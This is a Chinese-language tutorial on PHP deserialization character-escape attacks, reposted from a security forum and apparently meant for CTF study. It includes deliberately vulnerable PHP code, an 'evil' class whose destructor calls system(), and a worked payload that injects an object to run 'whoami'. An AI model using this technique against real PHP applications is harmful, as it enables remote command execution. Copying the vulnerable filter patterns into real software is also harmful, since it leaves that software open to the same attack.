首发先知社区,https://xz.aliyun.com/t/6718/

PHP 反序列化字符逃逸

  • 下述所有测试均在 php 7.1.13 nts 下完成

  • 先说几个特性,PHP 在反序列化时,对类中不存在的属性也会进行反序列化

  • PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的

  • 比如:在一个正常的反序列化的代码输入 a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";} ,会得到如下结果

  • 如果换成 a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa"; 仍然是上面的结果,但是如果修改它的长度,比如换成 a:2:{i:0;s:6:"peri0d";i:1;s:4:"aaaaa";} 就会报错

  • 这里给个例子,将 x 替换为 yy ,如何去修改密码?

<?php
function filter($string){
return preg_match('/x/','yy',$string);
} $username = "peri0d";
$password = "aaaaa";
$user = array($username, $password); var_dump(serialize($user));
echo '\n'; $r = filter(serialize($user)); var_dump($r);
echo '\n'; var_dump(unserialize($r));
  • 正常情况下的序列化结果为 a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}

  • 那如果把 username 换成 peri0dxxx ,其处理后的序列化结果为 a:2:{i:0;s:9:"peri0dyyyyyy";i:1;s:5:"aaaaa";} ,这个时候肯定会反序列化失败的

  • 可以看到 s:9:"peri0dyyyyyy" 比以前多了 3 个字符

  • 回到前面, a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";} 想一下,它在进行修改密码之后就变为 a:2:{i:0;s:6:"peri0d";i:1;s:6:"123456";}i:1;s:5:"aaaaa";}

  • 可以看到需要添加的字符串 ";i:1;s:6:"123456";} 长度为 20

  • 假设要在 peri0d 后面填充 4 个字符,那么就是 s:30:'peri0dxxxx";i:1;s:6:"123456";}'; 在经过处理之后就是 s:30:'peri0dyyyyyyyy";i:1;s:6:"123456";}'; 读取 30 个字符为 peri0dyyyyyyyy";i:1;s:6:"12345

  • 这就需要继续增加填充字符,在有 20x 时,就实现了密码的修改

  • 可以看到,这和 username 前面的 peri0d毫无关系的,只和做替换的字符串有关

看一看 Joomla 的逃逸

  • 看到有人写了简易版的 Joomla 处理反序列化的机制,修改之后代码如下:
<?php
class evil{
public $cmd; public function __construct($cmd){
$this->cmd = $cmd;
} public function __destruct(){
system($this->cmd);
}
} class User
{
public $username;
public $password; public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
} } function write($data){
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
file_put_contents("dbs.txt", $data);
} function read(){
$data = file_get_contents("dbs.txt");
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
return $r;
} if(file_exists("dbs.txt")){
unlink("dbs.txt");
} $username = "peri0d";
$password = "1234";
$payload = 's:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}';
write(serialize(new User($username, $password)));
var_dump(unserialize(read()));
  • 详细的代码逻辑不再阐述,它这里就是先将 chr(0).'*'.chr(0)3 个字符替换为 \0\0\06 个字符,然后再反过来
  • 我们这里最终的目的是实现任意的对象注入
  • 正常来说,这个序列化结果为 O:4:"User":2:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";} ,我这里的目的是要把 password 的字段替换为我的 payloads:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}
  • 那么可以想一下,一种可能的结果就是 O:4:"User":2:{s:8:"username";s:32:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}
  • 如果不清楚这个序列化怎么得到的,可以做一个反向的尝试,因为这是已经知道了要进行对象注入,可以在 User 中多加一个 $ts
<?php
class evil{
public $cmd;
public function __construct($cmd){
$this->cmd = $cmd;
}
public function __destruct(){
system($this->cmd);
}
} class User
{
public $username;
public $password;
public $ts;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}
}
$username = "peri0d";
$password = "1234";
$r = new User($username, $password);
$r->ts = new evil('whoami');
echo serialize($r);
// O:4:"User":3:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}
  • 这个序列化结果中,";s:8:"password";s:4:"1234 长度为 26 ,加上 peri0d6 就是 32 了,这样就覆盖了 password 及其值,再将前面的属性改为 2 就符合原来的源码含义了,而且它是可以成功反序列化的
  • 接下来就是如何构造 O:4:"User":2:{s:8:"username";s:32:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}} ,很明显要利用前面的替换使 peri0d 扩增来覆盖 password ,然后将 payload 作为 password 的值输入,以达到 payload 注入
  • 先修改 username="peri0d\\0\\0\\0"$password = "123456".$payload 得到序列化结果为 O:4:"User":2:O:4:"User":2:{s:8:"username";s:12:"peri0d\0\0\0";s:8:"password";s:53:"123456s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}";}
  • 发现有问题,修改 $password = '123456";'.$payload."}"
  • 就得到了符合规范的序列化结果 O:4:"User":2:{s:8:"username";s:12:"peri0d\0\0\0";s:8:"password";s:56:"123456";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}";}
  • 这个肯定反序列化不了,这里就想一下,如果可以反序列化,结果如下,用 N 代表 NULL : O:4:"User":2:{s:8:"username";s:12:"peri0dN*N";s:8:"password";s:53:"123456s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}";}
  • 这就会多出来 3 个字符,这里一定是按照 3 的倍数进行字符增加的,而 ";s:8:"password";s:56:"123456 长度为 29 ,这就需要进行增加或减少,从而去凑 3 的倍数,这里选择减少,使 password1234 则长度为 27 ,即需要 9\0\0\0
  • 最终的 payload :
<?php
$username = "peri0d\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$payload = 's:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}';
$password = '1234";'.$payload."}";
write(serialize(new User($username, $password)));
var_dump(unserialize(read()));
  • 结果:

  • 顺便扯一句,这个可以作为一个 CTF 赛题出现,题目名就叫 Joomla,完全没毛病

  • 题目地址:http://47.101.71.47:9000/

参考链接

详解PHP反序列化中的字符逃逸的更多相关文章

  1. 详解 $_SERVER 函数中QUERY_STRING和REQUEST_URI区别

    详解 $_SERVER 函数中QUERY_STRING和REQUEST_URI区别 http://blog.sina.com.cn/s/blog_686999de0100jgda.html   实例: ...

  2. 详解 Go 语言中的 time.Duration 类型

    swardsman详解 Go 语言中的 time.Duration 类型swardsman · 2018-03-17 23:10:54 · 5448 次点击 · 预计阅读时间 5 分钟 · 31分钟之 ...

  3. 详解jquery插件中(function ( $, window, document, undefined )的作用。

    1.(function(window,undefined){})(window); Q:(function(window,undefined){})(window);中为什么要将window和unde ...

  4. zz详解深度学习中的Normalization,BN/LN/WN

    详解深度学习中的Normalization,BN/LN/WN 讲得是相当之透彻清晰了 深度神经网络模型训练之难众所周知,其中一个重要的现象就是 Internal Covariate Shift. Ba ...

  5. [转载]详解网络传输中的三张表,MAC地址表、ARP缓存表以及路由表

    [转载]详解网络传输中的三张表,MAC地址表.ARP缓存表以及路由表 虽然学过了计算机网络,但是这部分还是有点乱.正好在网上看到了一篇文章,讲的很透彻,转载过来康康. 本文出自 "邓奇的Bl ...

  6. 详解WebService开发中四个常见问题(2)

    详解WebService开发中四个常见问题(2)   WebService开发中经常会碰到诸如WebService与方法重载.循环引用.数据被穿该等等问题.本文会给大家一些很好的解决方法. AD:WO ...

  7. 详解WebService开发中四个常见问题(1)

    详解WebService开发中四个常见问题(1)   WebService开发中经常会碰到诸如WebService与方法重载.循环引用.数据被穿该等等问题.本文会给大家一些很好的解决方法. AD:WO ...

  8. 详解Python编程中基本的数学计算使用

    详解Python编程中基本的数学计算使用 在Python中,对数的规定比较简单,基本在小学数学水平即可理解. 那么,做为零基础学习这,也就从计算小学数学题目开始吧.因为从这里开始,数学的基础知识列位肯 ...

  9. 第7.16节 案例详解:Python中classmethod定义的类方法

    第7.16节  案例详解:Python中classmethod定义的类方法 上节介绍了类方法定义的语法以及各种使用的场景,本节结合上节的知识具体举例说明相关内容. 一.    案例说明 本节定义的一个 ...

随机推荐

  1. HDU 4497 GCD and LCM 素因子分解+ gcd 和 lcm

    题意: 给两个数,lll 和 ggg,为x , y , z,的最小公倍数和最大公约数,求出x , y , z 的值有多少种可能性 思路: 将x , y , z进行素因子分解 素因子的幂次 x a1 a ...

  2. 第 k 小的数

    一.寻找两个有序数组的中位数 1.1 问题描述 给定两个大小为 m 和 n 的不同时为空的有序数组 nums1 和 nums2.找出这两个有序数组的中位数,并且要求算法的时间复杂度为 O(log(m ...

  3. Prism 源码解读7-导航

    介绍 Prism提供了一个非常强大的功能导航,导航的意思就是指定对应的View显示.这个导航的强大之处有: 可以设置导航前后的动作 可以指定View实例的生命周期,可以是否导航到新的View实例 提供 ...

  4. Integer类的进制之间转换的方法

    一.两个通用方法 1.public static String toString(int i,int radix) (1)作用 将十进制的数转化成指定进制数的字符串形式:radix参数指进制数: (2 ...

  5. Flutter AbsorbPointer 与 IgnorePointer的区别

    AbsorbPointer AbsorbPointer是一种禁止用户输入的控件,比如按钮的点击.输入框的输入.ListView的滚动等,你可能说将按钮的onPressed设置为null,一样也可以实现 ...

  6. LeetCode48, 如何让矩阵原地旋转90度

    本文始发于个人公众号:TechFlow,原创不易,求个关注 今天是LeetCode第29篇,我们来看一道简单的矩阵旋转问题. 题意 题目的要求很简单,给定一个二维方形矩阵,要求返回矩阵旋转90度之后的 ...

  7. linux被当矿机排查案例

    1.发现服务器变的特别卡,正常服务运行很慢. 到服务器上查询一番发现top下发现     bashd的进程占用100%CPU了. find /-name bashd* //第一次查询文件占用目录kil ...

  8. Javascript 入门 必备知识点

    1.如何得到html的input标签的值: (1). $('#id').val(); (2). $("#id").attr("value"); 2.javasc ...

  9. redis 非关系型数据库

    redis 类型,数据存在磁盘里面,所以存储速度比较快,其他数据类型还是存储在数据库所以比较慢些 链接redis数据库: r=redis.Redis(host="%%%%%%%", ...

  10. 廖雪峰 Git 教程 + Git-Cheat-Sheet 学习总结

    廖雪峰 Git 教程 + Git-Cheat-Sheet 学习总结 本教程主要是个人的 Git 学习总结. 主要参考博客: 廖雪峰 Git 教程 Git-Cheat-Sheet 文章目录 廖雪峰 Gi ...